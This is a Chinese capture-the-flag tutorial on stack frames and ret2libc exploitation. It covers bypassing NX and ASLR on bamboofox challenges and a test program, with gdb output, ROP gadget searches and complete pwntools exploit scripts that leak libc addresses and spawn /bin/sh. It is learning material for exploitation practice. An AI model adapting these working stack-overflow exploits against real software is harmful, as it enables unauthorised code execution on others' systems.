郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
在上篇中介绍了一些常见保护,以及如何开关,还有如何生成shellcode等操作,就那么点东西我搞了一星期,真是菜吐了,心态崩了了
写在前面的几个笔记
CALL 指令调用某个子函数时,下一条指令的地址作为返回地址被保存到栈中。等价于PUSH 返回地址与JMP 函数地址的指令序列
RET 指令跳转到CALL 指令保存的返回地址,讲控制权交还给调用函数。等价于POP 返回地址与JMP 返回地址的指令序列
由于后面的利用方式可能会用到64位的程序,所以在前面把两者几个点需要区别下
首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff
,否则就会抛出异常。
其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI 、RSI 、RDX 、RCX 、 R8 和R9 中,如果还有更多的参数的话才会保存在栈上。
函数调用栈
函数调用栈是一块连续的用来保存函数运行状态的内存区域,调用函数(caller)和被调用函数 (callee)根据调用关系堆叠起来,从内存的高地址向低地址增长。
一个典型的栈帧布局如下所示:
函数参数
函数返回地址
帧指针
错误处理帧
局部变量
栈缓冲区
被调函数保存的寄存器
栈帧的布局如下图所示:
样例
演示代码
int func (int arg1, int arg2, int arg3, int arg4, int arg5, int arg6, int arg7, int arg8) { int loc1 = arg1 + 1 ; int loc8 = arg8 + 8 ; return loc1 + loc8; } int main () { return func (11 , 22 , 33 , 44 , 55 , 66 , 77 , 88 ); }
栈的分布图
x86
被调用函数func()的8个参数从后向前依次入栈
当执行call指令时,下一条指令的地址0x08048415
作为返回地址入栈。
然后程序跳转到func(),在函数开头将调用函数的ebp压栈保存并更新为当前的栈顶地址esp作为新的栈基址,而esp则下移为局部变量开辟空间。
函数返回时则相反,通过leave指令将esp恢复为当前的ebp,并从栈中将调用者的ebp弹出,最后ret指令弹出返回地址作为eip,程序回到main()函数中,最后抬高esp清理被调用者的参数
#X86中的栈 gef➤ disassemble main 0x080483fd <+0>: push ebp # 将栈底 ebp 压栈 (esp -= 4) 0x080483fe <+1>: mov ebp,esp # 更新 ebp 为当前栈顶 esp 0x08048400 <+3>: push 0x58 # 将 arg8 压栈 (esp -= 4) 0x08048402 <+5>: push 0x4d # 将 arg7 压栈 (esp -= 4) 0x08048404 <+7>: push 0x42 # 将 arg6 压栈 (esp -= 4) 0x08048406 <+9>: push 0x37 # 将 arg5 压栈 (esp -= 4) 0x08048408 <+11>:push 0x2c # 将 arg4 压栈 (esp -= 4) 0x0804840a <+13>:push 0x21 # 将 arg3 压栈 (esp -= 4) 0x0804840c <+15>:push 0x16 # 将 arg2 压栈 (esp -= 4) 0x0804840e <+17>:push 0xb # 将 arg1 压栈 (esp -= 4) 0x08048410 <+19>:call 0x80483db <func> # 调用 func (push 0x08048415) 0x08048415 <+24>:add esp,0x20 # 恢复栈顶 esp 0x08048418 <+27>:leave # (mov esp, ebp; pop ebp) 0x08048419 <+28>:ret # 函数返回 (pop eip) gef➤ disassemble func 0x080483db <+0>: push ebp # 将栈底 ebp 压栈 (esp -= 4) 0x080483dc <+1>: mov ebp,esp # 更新 ebp 为当前栈顶 esp 0x080483de <+3>: sub esp,0x10 # 为局部变量开辟栈空间 0x080483e1 <+6>: mov eax,DWORD PTR [ebp+0x8] # 取出 arg1 0x080483e4 <+9>: add eax,0x1 # 计算 loc1 0x080483e7 <+12>:mov DWORD PTR [ebp-0x8],eax # loc1 放入栈 0x080483ea <+15>:mov eax,DWORD PTR [ebp+0x24] # 取出 arg8 0x080483ed <+18>:add eax,0x8 # 计算 loc8 0x080483f0 <+21>:mov DWORD PTR [ebp-0x4],eax # loc8 放入栈 0x080483f3 <+24>:mov edx,DWORD PTR [ebp-0x8] 0x080483f6 <+27>:mov eax,DWORD PTR [ebp-0x4] 0x080483f9 <+30>:add eax,edx # 计算返回值 0x080483fb <+32>:leave # (mov esp, ebp; pop ebp) 0x080483fc <+33>:ret # 函数返回 (pop eip)
x86-64
前6 个参数分别通过rdi、rsi、rdx、rcx、r8和r9进行传递,剩余参数才像x86一样从后向前依次压栈。
func()并没有下移rsp开辟栈空间的操作,导致rbp和rsp的值是相同的
其实这是一项编译优化:根据AMD64 ABI文档的描述,rsp以下128字节的区域被称为red zone,这是一块被保留的内存,不会被信号或者中断所修改。
gef➤ disassemble main 0x000000000040050a <+0>: push rbp # 将栈底 rbp 压栈 (rsp -= 8) 0x000000000040050b <+1>: mov rbp,rsp # 更新 rbp 为当前栈顶 rsp 0x000000000040050e <+4>: push 0x58 # 将 arg8 压栈 (rsp -= 8) 0x0000000000400510 <+6>: push 0x4d # 将 arg7 压栈 (rsp -= 8) 0x0000000000400512 <+8>: mov r9d,0x42 # 将 arg6 赋值给 r9 0x0000000000400518 <+14>: mov r8d,0x37 # 将 arg5 赋值给 r8 0x000000000040051e <+20>: mov ecx,0x2c # 将 arg4 赋值给 rcx 0x0000000000400523 <+25>: mov edx,0x21 # 将 arg3 赋值给 rdx 0x0000000000400528 <+30>: mov esi,0x16 # 将 arg2 赋值给 rsi 0x000000000040052d <+35>: mov edi,0xb # 将 arg1 赋值给 rdi 0x0000000000400532 <+40>: call 0x4004d6 <func> # 调用 func (push 0x400537) 0x0000000000400537 <+45>: add rsp,0x10 # 恢复栈顶 rsp 0x000000000040053b <+49>: leave # (mov rsp, rbp; pop rbp) 0x000000000040053c <+50>: ret # 函数返回 (pop rip) gef➤ disassemble func 0x00000000004004d6 <+0>: push rbp # 将栈底 rbp 压栈 (rsp -= 8) 0x00000000004004d7 <+1>: mov rbp,rsp # 更新 rbp 为当前栈顶 rsp 0x00000000004004da <+4>: mov DWORD PTR [rbp-0x14],edi 0x00000000004004dd <+7>: mov DWORD PTR [rbp-0x18],esi 0x00000000004004e0 <+10>: mov DWORD PTR [rbp-0x1c],edx 0x00000000004004e3 <+13>: mov DWORD PTR [rbp-0x20],ecx 0x00000000004004e6 <+16>: mov DWORD PTR [rbp-0x24],r8d 0x00000000004004ea <+20>: mov DWORD PTR [rbp-0x28],r9d 0x00000000004004ee <+24>: mov eax,DWORD PTR [rbp-0x14] 0x00000000004004f1 <+27>: add eax,0x1 0x00000000004004f4 <+30>: mov DWORD PTR [rbp-0x8],eax 0x00000000004004f7 <+33>: mov eax,DWORD PTR [rbp+0x18] 0x00000000004004fa <+36>: add eax,0x8 0x00000000004004fd <+39>: mov DWORD PTR [rbp-0x4],eax 0x0000000000400500 <+42>: mov edx,DWORD PTR [rbp-0x8] 0x0000000000400503 <+45>: mov eax,DWORD PTR [rbp-0x4] 0x0000000000400506 <+48>: add eax,edx # 计算返回值 0x0000000000400508 <+50>: pop rbp # 恢复 rbp (rsp += 8) 0x0000000000400509 <+51>: ret # 函数返回 (pop rip)
绕过NX保护
Ret2libc
Bypass DEP 通过ret2libc绕过DEP防护,现在我们把DEP打开,依然关闭stack protector和ASLR。这时候我们按上篇无保护的思路来做题的话,系统会拒绝执行我们的shellcode。如果你通过sudo cat /proc/[pid]/maps
查看,stack是rw的而不是rwx。
三道题分布对应下面三个小结
存在system()函数和/bin/sh字符串
以 bamboofox 中 ret2libc1 为例,首先,我们可以检查一下程序的安全保护
kali@kali:~/Desktop$ checksec ret2libc1 [*] '/home/kali/Desktop/ret2libc1' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
源程序为 32 位,开启了 NX 保护。下面来看一下程序源代码,确定漏洞位置
int __cdecl main (int argc, const char **argv, const char **envp) { char s; setvbuf(stdout , 0 , 2 , 0 ); setvbuf(_bss_start, 0 , 1 , 0 ); puts ("RET2LIBC >_<" ); gets(&s); return 0 ; }
可以看到在执行 gets 函数的时候出现了栈溢出,接着定位溢出值
gdb-peda$ pattern create 200 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA' gdb-peda$ run Starting program: /home/kali/Desktop/ret2libc1 RET2LIBC >_< AAA%AAsAABAA$AAnAACAA -AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x0 ECX: 0xf7fb0580 --> 0xfbad2288 EDX: 0xfbad2288 ESI: 0xf7fb0000 --> 0x1e4d6c EDI: 0xf7fb0000 --> 0x1e4d6c EBP: 0x6941414d ('MAAi' ) ESP: 0xffffd220 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA" ) EIP: 0x41384141 ('AA8A' ) EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41384141 [------------------------------------stack-------------------------------------] 0000| 0xffffd220 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA" ) 0004| 0xffffd224 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA" ) 0008| 0xffffd228 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA" ) 0012| 0xffffd22c ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA" ) 0016| 0xffffd230 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA" ) 0020| 0xffffd234 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA" ) 0024| 0xffffd238 ("AmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA" ) 0028| 0xffffd23c ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA" ) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41384141 in ?? () gdb-peda$ pattern offset 0x41384141 1094205761 found at offset: 112
可以看到溢出的位置在112的地方
接着利用ropgadget ,查看是否有/bin/sh
存在
kali@kali:~/Desktop$ ROPgadget --binary ret2libc1 --string '/bin/sh' Strings information ============================================================ 0x08048720 : /bin/sh
并且在IDA中可以看到有system
这个函数,如果没有开启ASRL的话再Windows上面看到的地址和你在Linux运行后的地址是相同的
我们要的东西都齐了以后,接下来就是写EXP了,EXP中栈拼接对应上面的利用原理
from pwn import *sh = process('../ret2libc1' ) context(os='linux' , arch='x86' , log_level='debug' ) binsh_addr = 0x08048720 system_plt = 0x08048460 payload = flat(['a' * 112 , system_plt, 'b' * 4 , binsh_addr]) sh.sendline(payload) sh.interactive()
只存在system()函数
以 bamboofox 中 ret2libc2为例,拿到文件依旧进行查看保护
ascotbe@ubuntu:~/Desktop/Pwn$ checksec ret2libc2 [*] '/home/ascotbe/Desktop/Pwn/ret2libc2' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
接着我们可以看到溢出函数依旧是上文中的那个并且system()
的地址是0x08048490
但是我们用ROPgadget并无找到/bin/sh
位置
ascotbe@ubuntu:~/Desktop/Pwn$ ROPgadget --binary ret2libc2 --string '/bin/sh' Strings information ============================================================
那我们怎么获取字符串呢?我们在PLT表中可以看到有一个gets()
函数,这个函数可以用来获取字符串,并且地址为0x08048460
反汇编查看一下该函数
发现传入一个指针后即可返回指针指向的字符串,那么接着我们只需要找到一个可读可写的buffer区,通常会寻找.bss
段,通过readelf 命令来查找
ascotbe@ubuntu:~/Desktop/Pwn$ readelf -S ret2libc2 There are 35 section headers, starting at offset 0x1924: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4 [ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4 [ 4] .gnu.hash GNU_HASH 080481ac 0001ac 00002c 04 A 5 0 4 [ 5] .dynsym DYNSYM 080481d8 0001d8 0000f0 10 A 6 1 4 [ 6] .dynstr STRTAB 080482c8 0002c8 000096 00 A 0 0 1 [ 7] .gnu.version VERSYM 0804835e 00035e 00001e 02 A 5 0 2 [ 8] .gnu.version_r VERNEED 0804837c 00037c 000030 00 A 6 1 4 [ 9] .rel.dyn REL 080483ac 0003ac 000018 08 A 5 0 4 [10] .rel.plt REL 080483c4 0003c4 000058 08 A 5 12 4 [11] .init PROGBITS 0804841c 00041c 000023 00 AX 0 0 4 [12] .plt PROGBITS 08048440 000440 0000c0 04 AX 0 0 16 [13] .text PROGBITS 08048500 000500 000242 00 AX 0 0 16 [14] .fini PROGBITS 08048744 000744 000014 00 AX 0 0 4 [15] .rodata PROGBITS 08048758 000758 000065 00 A 0 0 4 [16] .eh_frame_hdr PROGBITS 080487c0 0007c0 000034 00 A 0 0 4 [17] .eh_frame PROGBITS 080487f4 0007f4 0000d0 00 A 0 0 4 [18] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4 [19] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4 [20] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4 [21] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4 [22] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4 [23] .got.plt PROGBITS 0804a000 001000 000038 04 WA 0 0 4 [24] .data PROGBITS 0804a038 001038 000008 00 WA 0 0 4 [25] .bss NOBITS 0804a040 001040 0000a4 00 WA 0 0 32 [26] .comment PROGBITS 00000000 001040 00002b 01 MS 0 0 1 [27] .debug_aranges PROGBITS 00000000 00106b 000020 00 0 0 1 [28] .debug_info PROGBITS 00000000 00108b 000329 00 0 0 1 [29] .debug_abbrev PROGBITS 00000000 0013b4 0000f8 00 0 0 1 [30] .debug_line PROGBITS 00000000 0014ac 0000c2 00 0 0 1 [31] .debug_str PROGBITS 00000000 00156e 00026d 01 MS 0 0 1 [32] .shstrtab STRTAB 00000000 0017db 000146 00 0 0 1 [33] .symtab SYMTAB 00000000 001e9c 000540 10 34 50 4 [34] .strtab STRTAB 00000000 0023dc 000314 00 0 0 1
我们可以发现**.bss是从 0x0804a040的位置开始的,然后按着这个段找到了 0x0804A080**这个位置是个char数组
接着可以看到**.bss**是能读写,由于程序在gdb中运行,就算关闭了ALSR也会和在gdb外运行不同。
kali@kali:~/Desktop/Pwn$ gdb -q ret2libc2 Reading symbols from ret2libc2... gdb-peda$ run Starting program: /home/kali/Desktop/Pwn/ret2libc2 Something surprise here, but I don't think it will work. What do you think ? [Inferior 1 (process 10047) exited normally] Warning: not running gdb-peda$ vmmap Warning: not running Start End Perm Name 0x0804841c 0x08048758 rx-p /home/kali/Desktop/Pwn/ret2libc2 0x08048154 0x080488c4 r--p /home/kali/Desktop/Pwn/ret2libc2 0x08049f08 0x0804a0e4 rw-p /home/kali/Desktop/Pwn/ret2libc2
接着寻找add esp, 4
这样的指令,至于为什么呢因为我们调用gets()函数的时候push了一个参数也就是/bin/sh
,函数结束的话如果不让堆栈平衡,那么最后结束整个函数的时候ebp的值回比原来低,具体低4个字节还是8个看进程的位数去。最后在这题结束会放个c程序调试的例子作为解释
ascotbe@ubuntu:~/Desktop/Pwn$ ROPgadget --binary ret2libc2 --only 'pop|ret' Gadgets information ============================================================ 0x0804872f : pop ebp ; ret 0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0804843d : pop ebx ; ret 0x0804872e : pop edi ; pop ebp ; ret 0x0804872d : pop esi ; pop edi ; pop ebp ; ret 0x08048426 : ret 0x0804857e : ret 0xeac1 Unique gadgets found: 7
万事具备我们就直接构造EXP即可
from pwn import *sh = process("./ret2libc2" ) context(os='linux' , arch='x86' , log_level='debug' ) libc_gets_addr = 0x08048460 libc_system_addr = 0x08048490 buf2_addr = 0x0804A080 pop_ebx_addr = 0x0804843d payload = flat(["A" * 0x70 , libc_gets_addr, pop_ebx_addr, buf2_addr, libc_system_addr, '6666' , buf2_addr]) sh.sendline(payload) sh.sendline('/bin/sh' ) sh.interactive() PUSH 参数->PUSH 返回地址->JMP system函数地址->PUSH 参数(进入CALL调用栈中)->POP 参数(由于为了堆栈平衡之前PUSH了参数)->CALL gets函数 system(gets(*buf2))
无system()函数和/bin/sh字符串
首先查看保护
ascotbe@ubuntu:~/Desktop/Pwn$ checksec ./ret2libc3 [*] '/home/ascotbe/Desktop/Pwn/ret2libc3' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
可以发现是加载libc.so 动态链接库的
gdb-peda$ i sharedlibrary From To Syms Read Shared Object Library 0xf7fd2100 0xf7fef7f3 Yes (*) /lib/ld-linux.so.2 0xf7de81d0 0xf7f4171a Yes (*) /lib/i386-linux-gnu/libc.so.6 (*): Shared library is missing debugging information.
可以发现没有system()
函数和/bin/sh
字符串了
由于他加载了libc.so ,那么我们可以明确几点
简单地说,main()函数是用户代码的入口,是对用户而言的;而_start()函数是系统代码的入口,是程序真正的入口。
我们可以看下本题的_start()函数内容,其包含main()和__libc_start_main()函数的调用,也就是说,它才是程序真正的入口
那么我们就可以编写EXP了,这个EXP就算开启了ASLR的话都是狂野利用的,所以我们这边绕过了NX 保护和ASLR
from pwn import *sh = process('./ret2libc3' ) elf = ELF('./ret2libc3' ) libc = elf.libc context(os='linux' , arch='x86' , log_level='debug' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] start_addr = elf.symbols['_start' ] print ("[*]puts plt: " + hex (puts_plt))print ("[*]puts got: " + hex (puts_got))print ("[*]_start addr: " + hex (start_addr))print ( "--" * 20 )print ("[*]sending payload1 to leak libc..." )payload = flat(["A" * 112 , puts_plt, start_addr, puts_got]) sh.sendlineafter("Can you find it !?" , payload) puts_addr = u32(sh.recv(4 )) print ("[*]leak puts addr: " + hex (puts_addr))libc.address = puts_addr - libc.symbols['puts' ] system_addr = libc.symbols['system' ] binsh_addr = next (libc.search(b'/bin/sh' )) print ("[*]leak libc addr: " + hex (libc.address))print ("[*]system addr: " + hex (system_addr))print ("[*]binsh addr: " + hex (binsh_addr))print ("--" * 20 )print ("[*]sending payload2 to getshell..." )payload2 = flat(["B" * 112 , system_addr, "CCCC" , binsh_addr]) sh.sendline(payload2) sh.interactive()
绕过ASLR保护
测试代码
#include <unistd.h> void vuln_func () { char buf[128 ]; read (STDIN_FILENO, buf, 256 ); } int main (int argc, char *argv[]) { vuln_func (); write (STDOUT_FILENO, "Hello world!\n" , 13 ); }
首先检查题目的保护和是否开启了ASLR保护
ascotbe@ubuntu:~/Desktop/PWN$ ldd test.out linux-gate.so.1 => (0xf7f71000) libc.so.6 => /lib32/libc.so.6 (0xf7da0000) /lib/ld-linux.so.2 (0xf7f73000) ascotbe@ubuntu:~/Desktop/PWN$ ldd test.out linux-gate.so.1 => (0xf7fba000) libc.so.6 => /lib32/libc.so.6 (0xf7de9000) /lib/ld-linux.so.2 (0xf7fbc000)
运行的时候查看下加载了什么动态链接库
gdb-peda$ i sharedlibrary From To Syms Read Shared Object Library 0xf7fd9860 0xf7ff28dd Yes (*) /lib/ld-linux.so.2 0xf7e1d750 0xf7f4696d Yes (*) /lib32/libc.so.6
题目的思路:由于程序未开启PIE,导致程序本身的地址是固定的,我们可以通过write()函数进行信息泄露,打印出libc的地址,进而计算system()的地址
EXP就分为两个流程:
通过payload在vuln_func中进行栈溢出,调用write@plt 打印出write@got,完成后又返回到vuln_func中
通过再次溢出调用计算出相对地址的system函数获得shell
首先查看溢出位置
gdb-peda$ pattern create 200 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA' gdb-peda$ run Starting program: /home/ascotbe/Desktop/Pwn/test.out AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0xc9 EBX: 0x6c414150 ('PAAl') ECX: 0xffffcd80 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...) EDX: 0x100 ESI: 0xf7fb0000 --> 0x1ead6c EDI: 0xf7fb0000 --> 0x1ead6c EBP: 0x41514141 ('AAQA') ESP: 0xffffce10 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377") EIP: 0x41416d41 ('AmAA') EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41416d41 [------------------------------------stack-------------------------------------] 0000| 0xffffce10 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377") 0004| 0xffffce14 ("AASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377") 0008| 0xffffce18 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377") 0012| 0xffffce1c ("TAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377") 0016| 0xffffce20 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377") 0020| 0xffffce24 ("ArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377") 0024| 0xffffce28 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377") 0028| 0xffffce2c ("AAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41416d41 in ?? () gdb-peda$ pattern offset 0x41416d41 1094806849 found at offset: 140
编写EXP,运行环境Ubuntu 16.04 Python3.8 (Ubuntu20.04 Python3.8无法运行)
from pwn import *io = process('./test.out' ) elf = ELF('./test.out' ) libc = ELF('/lib32/libc.so.6' ) context(os='linux' , arch='x86' , log_level='debug' ) write_plt=elf.symbols['write' ] write_got=elf.got['write' ] vuln_func_addr = elf.symbols['vuln_func' ] print ("[*]write plt: " + hex (write_plt))print ("[*]write got: " + hex (write_got))print ("[*]vuln func addr: " + hex (vuln_func_addr))print ( "--" * 20 )print ("[*]sending payload1 to leak libc..." )payload1 = ("A" * 140 ).encode()+ p32(write_plt)+p32(vuln_func_addr)+p32(1 )+p32(write_got)+p32(4 ) print (payload1)io.send(payload1) write_addr = u32(io.recv(4 )) print ("[*]leak write addr: " + hex (write_addr))libc_addr=write_addr - libc.symbols['write' ] print ("[*]leak libc addr: " + hex (libc_addr))system_addr = libc_addr + libc.symbols['system' ] binsh_addr = libc_addr + next (libc.search(b'/bin/sh' )) payload2 = ("B" * 140 ).encode() + p32(system_addr) + p32(vuln_func_addr) + p32(binsh_addr) io.send(payload2) io.interactive()
参考文章
https://www.jianshu.com/p/c90530c910b0 https://www.mi1k7ea.com/2019/03/05/%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B9%8Bret2libc 《ctf竞赛权威指南(PWN篇)》